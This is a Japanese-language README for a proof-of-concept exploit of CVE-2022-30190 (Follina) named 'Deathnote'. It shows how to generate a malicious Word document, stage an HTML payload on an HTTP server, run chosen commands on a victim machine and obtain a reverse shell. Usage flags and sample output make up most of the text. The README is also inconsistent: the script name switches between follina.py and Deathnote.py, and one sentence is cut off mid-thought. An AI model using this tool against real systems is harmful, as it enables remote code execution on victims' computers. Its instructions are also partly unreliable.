
CVE-2022-30190の概念実証
MSDT が Word などの呼び出し元アプリケーションから URL プロトコルを使用して呼び出されると、リモートコード実行の脆弱性が存在します。この脆弱性の悪用に成功した攻撃者は、呼び出し元アプリケーションの権限で任意のコードを実行できます。その後、攻撃者はプログラムのインストール、データの表示、変更、削除、またはユーザーの権限で許可されたコンテキストでの新しいアカウントの作成を行うことができます。
悪意のある Microsoft Word 文書を使用して「Deathnote」MS-MSDT 攻撃を作成し、HTTP サーバーでペイロードをステージングします。
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: Notepad)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./Deathnote.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
notepad.exe を起動:
$ python3 Deathnote.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./Deathnote.doc
[+] serving html payload on :8000
calc.exe を起動:
$ python3 Deathnote.py -c "calc"

C:\Windows\Tasks に配置されます。バイナリはクリーンアップされません。AV が無効でない限り、これによりアンチウイルス検出がトリガーされます。reverse shell を取得:
python3 Deathnote.py -p 1234